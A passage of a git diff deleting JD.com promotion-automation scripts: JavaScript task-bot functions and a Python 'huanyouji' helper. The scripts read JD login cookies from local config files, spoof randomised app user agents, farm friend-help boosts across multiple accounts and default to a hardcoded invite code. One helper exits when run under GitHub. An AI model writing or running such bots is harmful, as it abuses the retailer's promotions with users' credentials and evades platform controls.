console.log(`失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_getFeedDetail(taskId) { - let body = { "taskId": taskId.toString() }; - - return new Promise((resolve) => { - $.post(taskPostUrl("travel_getFeedDetail", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - resolve(data.data.result.addProductVos[0]) - } - } else { - console.log(`失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function travel_getFeedDetail2(taskId) { - let body = { "taskId": taskId.toString() }; - - return new Promise((resolve) => { - $.post(taskPostUrl("travel_getFeedDetail", body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data['data']['bizCode'] === 0) { - resolve(data.data.result.taskVos[0]) - } - } else { - console.log(`失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function join(venderId, channel, shopId) { - let shopId_ = shopId != "" ? `,"shopId":"${shopId}"` : "" - return new Promise((resolve) => { - $.get({ - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${venderId}"${shopId_},"bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0,"channel":${channel}}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.UA, - 'Accept-Language': 'zh-cn', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}&shopId=${venderId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313`, - 'Accept-Encoding': 'gzip, deflate, br' - } - }, async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - if (data.indexOf("成功") != -1) { - console.log(`入会成功\n`) - } else { - console.log(`失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(functionId, body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.UA, - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -function taskPostUrl2(functionId, body) { - return { - url: `${JD_API_HOST}?functionId=${functionId}&client=wh5`, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.UA, - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = [...inviteCodes, ...$.newShareCodes]; - } - //if($.index == 1) $.newShareCodes = [...inviteCodes,...$.newShareCodes] - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = []; - if ($.isNode()) { - if (process.env.JD_CITY_EXCHANGE) { - exchangeFlag = process.env.JD_CITY_EXCHANGE || exchangeFlag; - } - if (process.env.CITY_SHARECODES) { - if (process.env.CITY_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.CITY_SHARECODES.split('\n'); - } else { - shareCodes = process.env.CITY_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function getUA() { - $.UA = `jdapp;android;10.0.6;11;9363537336739353-2636733333439346;network/wifi;model/KB2000;addressid/138121554;aid/9657c795bc73349d;oaid/;osVer/30;appBuild/88852;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; KB2000 Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36` -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function randomNum(e) { - e = e || 32; - let t = "0123456789", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { constructor(t) { this.env = t } - send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } - get(t) { return this.send.call(this.env, t) } - post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } - isNode() { return "undefined" != typeof module && !!module.exports } - isQuanX() { return "undefined" != typeof $task } - isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } - isLoon() { return "undefined" != typeof $loon } - toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } - toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } - getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} - return s } - setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } - getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } - runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } - loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } - writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } - lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r } - lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } - getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } - setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } - getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } - setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } - initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } - get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; - e(s, i, i && i.body) })) } - post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); - else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; - this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; - e(s, i, i && i.body) }) } } - time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } - msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } - log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } - logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } - wait(t) { return new Promise(e => setTimeout(e, t)) } - done(t = {}) { const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_hyj_help.py b/backUp/jd_hyj_help.py deleted file mode 100644 index a8a6e61..0000000 --- a/backUp/jd_hyj_help.py +++ /dev/null @@ -1,372 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -* -''' -项目名称: JD-Script / jd_hyj -Author: Curtin -功能:环游记 - 1、好友助力,默认按顺序助力,每个号6次助力机会 - 2、浏览并关注任务 - 3、待完成 -Date: 2021/10/24 下午6:52 -Update: 2021/10/24 下午11:52 -TG交流 https://t.me/topstyle996 -TG频道 https://t.me/TopStyle2021 -cron: 0 0,23 * 10-11 * -new Env('环游记'); -''' - - -# UA 可自定义你的, 默认随机生成UA。 -UserAgent = '' - -import os, re, sys -import random, json, time -try: - import requests -except Exception as e: - print(e, "\n缺少requests 模块,请执行命令安装:pip3 install requests") - exit(3) -from urllib.parse import unquote -############## - -# requests.packages.urllib3.disable_warnings() -pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep - -### -def userAgent(): - """ - 随机生成一个UA - jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 - :return: ua - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.15(0x18000f29) NetType/WIFI Language/zh_CN' - - """ - uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) - iosV = iosVer.replace('.', '_') - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -class getJDCookie(object): - # 适配各种平台环境ck - def getckfile(self): - global v4f - curf = pwd + 'JDCookies.txt' - v4f = '/jd/config/config.sh' - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(curf): - with open(curf, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - return curf - else: - pass - if os.path.exists(ql_new): - print("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - print("当前环境青龙面板旧版") - return ql_old - elif os.path.exists(v4f): - print("当前环境V4") - return v4f - return curf - - # 获取cookie - def getCookie(self): - global cookies - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks = f.read() - f.close() - if 'pt_key=' in cks and 'pt_pin=' in cks: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks = r.findall(cks) - if len(cks) > 0: - if 'JDCookies.txt' in ckfile: - print("当前获取使用 JDCookies.txt 的cookie") - cookies = '' - for i in cks: - if 'pt_key=xxxx' in i: - pass - else: - cookies += i - return - else: - with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: - cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" - f.write(cks) - f.close() - if "JD_COOKIE" in os.environ: - if len(os.environ["JD_COOKIE"]) > 10: - cookies = os.environ["JD_COOKIE"] - print("已获取并使用Env环境 Cookie") - except Exception as e: - print(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - - def getUserInfo(self, ck, pinName, userNum): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': f'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - if sys.platform == 'ios': - requests.packages.urllib3.disable_warnings() - resp = requests.get(url=url, verify=False, headers=headers, timeout=60).json() - else: - resp = requests.get(url=url, headers=headers, timeout=60).json() - if resp['retcode'] == "0": - nickname = resp['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - else: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - except Exception: - context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - - def iscookie(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - userNameList = [] - pinNameList = [] - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - print("您已配置{}个账号".format(len(result))) - u = 1 - for i in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(i) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(i, pinName, u) - if nickname != False: - cookiesList.append(ck) - userNameList.append(nickname) - pinNameList.append(pinName) - else: - u += 1 - continue - u += 1 - if len(cookiesList) > 0 and len(userNameList) > 0: - return cookiesList, userNameList, pinNameList - else: - print("没有可用Cookie,已退出") - exit(3) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - else: - print("cookie 格式错误!...本次操作已退出") - exit(4) - - -getCk = getJDCookie() -getCk.getCookie() - - -def buildHeaders(ck): - headers = { - 'Accept': 'application/json, text/plain, */*', - 'Origin': 'https://wbbny.m.jd.com', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': ck, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'User-Agent': userAgent(), - # 'Referer': f'https://wbbny.m.jd.com/babelDiy/Zeus/2vVU4E7JLH9gKYfLQ5EVW6eN2P7B/index.html?babelChannel=jdappsyfc&shareType=taskHelp&inviteId=ZXASTT028Z1_cl4-8INRW9rJrQH-3oUxd6t1GFjRWn6u7zB55awQ&mpin=&from=sc&lng=113&lat=23&sid=&un_area=', - 'Referer': f'https://wbbny.m.jd.com/babelDiy/Zeus/2vVU4E7JLH9gKYfLQ5EVW6eN2P7B/index.html?babelChannel=jdappsyfc&shareType=taskHelp&inviteId=ZXASTT028Z1_cl4-8INRW9rJrQH-3oUxd6t1GFjRWn6u7zB55awQ&mpin=RnFsl2daPGGLzNTMDSugzOUmYgysBguS0mhHAIPkgjc&from=sc&lng=113.367454&lat=23.112787&sid=4d0c87024e75822e2940d31c251c1b0w&un_area=1_2901_55567_0', - 'Accept-Language': 'zh-cn' - } - return headers - -def getHomeData(header): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_getHomeData' - body = 'functionId=travel_getHomeData&body={"inviteId":""}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=header, data=body, timeout=10).json() - secretp = resp['data']['result']['homeMainInfo']['secretp'] - return secretp - except: - return None - -def getinviteId(ck): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_getTaskDetail' - body = 'functionId=travel_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=buildHeaders(ck), data=body).json() - return resp['data']['result']['inviteId'] - except: - return 'ZXASTT018v_53RR4Y9lHfIBub1AFjRWn6u7zB55awQ' - -# 获取任务list -def travel_getTaskDetail(header): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_getTaskDetail' - body = 'functionId=travel_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=header, data=body).json() - taskVos = resp['data']['result']['taskVos'] - return taskVos - except: - return None -# 完成任务 -def travel_collectScore(header, taskId, taskToken, secretp): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_collectScore' - body = 'functionId=travel_collectScore&body={' + f'"taskId":"{taskId}","taskToken":"{taskToken}","actionType":1,' + f'%22ss%22:%22%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYJhPageh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22{secretp}%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D%22%7D' + '&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=header, data=body).json() - except: - pass - # print("##完成结果:", resp) -# 关注店铺 -def followShop(header, shopId): - try: - url = 'https://api.m.jd.com/client.action?functionId=followShop' - body = 'functionId=followShop&body={"shopId":"'+ shopId + '","follow":true,"type":"0"}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=header, data=body).json() - print("\t└",resp['msg']) - except: - pass -def qryCompositeMaterials(header, id): - url = 'https://api.m.jd.com/client.action?functionId=qryCompositeMaterials' - body = f'functionId=qryCompositeMaterials&body=%7B%22qryParam%22:%22%5B%7B%5C%22type%5C%22:%5C%22advertGroup%5C%22,%5C%22mapTo%5C%22:%5C%22taskPanelBanner%5C%22,%5C%22id%5C%22:%5C%22{id}%5C%22%7D%5D' +'","activityId":"2vVU4E7JLH9gKYfLQ5EVW6eN2P7B","pageId":"","reqSrc":"","applyKey":"jd_star"}&client=wh5&clientVersion=1.0.0&uuid=' - resp = requests.post(url=url, headers=header, data=body).json() - print(resp) - -def qryViewkitCallbackResult(header, taskToken): - t = round(time.time() * 1000) - url = 'https://api.m.jd.com/client.action?functionId=qryViewkitCallbackResult&client=wh5' - body = 'body={"dataSource":"newshortAward","method":"getTaskAward","reqParams":"%7B%5C%22taskToken%5C%22%3A%5C%22' + taskToken + '%5C%22%7D","sdkVersion":"1.0.0","clientLanguage":"zh","onlyTimeId":' + str(t) + ',"riskParam":{"platform":"3","orgType":"2","openId":"-1","pageClickKey":"Babel_VKCoupon","eid":"","fp":"-1","shshshfp":"","shshshfpa":"","shshshfpb":"","childActivityUrl":"","userArea":"-1","client":"","clientVersion":"","uuid":"","osVersion":"","brand":"","model":"","networkType":"","jda":"-1"}}' - resp = requests.post(url=url, headers=header, data=body).json() - if 'success' in resp['msg']: - print("\t\t└☺️", resp['toast']['subTitle']) - else: - print("\t\t└😓", resp) - -def task(ck): - header = buildHeaders(ck) - taskVos = travel_getTaskDetail(header) - secretp = getHomeData(header) - for t in taskVos: - t_status = t['status'] - if t_status == 1: - taskId = t['taskId'] - taskType = t['taskType'] - if taskType == 7: # 浏览关注 - print("\n☺️###开始浏览关注8s任务") - browseShopVo = t['browseShopVo'] - for o in browseShopVo: - if o['status'] == 1: - taskToken = o['taskToken'] - shopId = o['shopId'] - id = o['advGroupId'] - print(f"\t└开始 {o['shopName']}") - followShop(header, shopId) - travel_collectScore(header, taskId, taskToken, secretp) - print("\t\t└停留8秒~") - time.sleep(8) - # qryCompositeMaterials(header, id) - qryViewkitCallbackResult(header, taskToken) - - - -# 好友邀请助力 -def friendsHelp(ck, inviteId, secretp, nickname): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_collectScore' - body = 'functionId=travel_collectScore&body={"ss":"%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYGJZYh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22'+ secretp + '%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D","inviteId":"' + inviteId + '"}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() - isSuccess = resp['data']['success'] - result = resp['data']['bizMsg'] - bizCode = resp['data']['bizCode'] - - if isSuccess: - print(f"\t└😆用户【{nickname}】{result}") - else: - print(f"\t└😯用户【{nickname}】{result}") - if bizCode == -201: - return True - else: - return False - except: - pass - -# 膨胀红包领取 -def travel_pk_receiveAward(ck): - try: - url = 'https://api.m.jd.com/client.action?functionId=travel_pk_receiveAward' - body = 'functionId=travel_pk_receiveAward&body={}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() - print("👌成功领取红包🧧:",resp['data']['result']['value']) - except: - pass -# 膨胀红包助力 -def travel_pk_collectPkExpandScore(ck, inviteId, secretp): - url = 'https://api.m.jd.com/client.action?functionId=travel_pk_collectPkExpandScore' - # body = 'functionId=travel_pk_collectPkExpandScore&body={"ss":"{\"extraData\":{\"log\":\"\",\"sceneid\":\"HYGJZYh5\"},\"secretp\":\"E7CRMI6DTcSTrabHO4r8_5la-GQ\",\"random\":\"35074436\"}","inviteId":"PKASTT018v_53RR4Y9lHfIBub1ACjRWnIaRzT0jeQOc"}&client=wh5&clientVersion=1.0.0' - body = 'functionId=travel_pk_collectPkExpandScore&body={"ss":"%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYGJZYh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22' + secretp + '%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D","inviteId":"' + inviteId + '"}&client=wh5&clientVersion=1.0.0' - resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() - bizCode = resp['data']['bizCode'] - bizMsg = resp['data']['bizMsg'] - print(f"\t└{bizMsg}") - if bizCode == 103: - return True - else: - return False - -def start(): - try: - scriptName = '### 环游记 ###' - print(scriptName) - cookiesList, userNameList, pinNameList = getCk.iscookie() - # for ck in cookiesList: - # ss = 'PKASTT018v_53RR4Y9lHfIBub1ACjRWnIaRzT0jeQOc' - # if travel_pk_collectPkExpandScore(ck, ss, getHomeData(ck)): - # travel_pk_receiveAward(ck) - # exit(3) - for c,masterName in zip(cookiesList,userNameList): - print(f"\n### ☺️开始助力 {masterName}") - sharecode 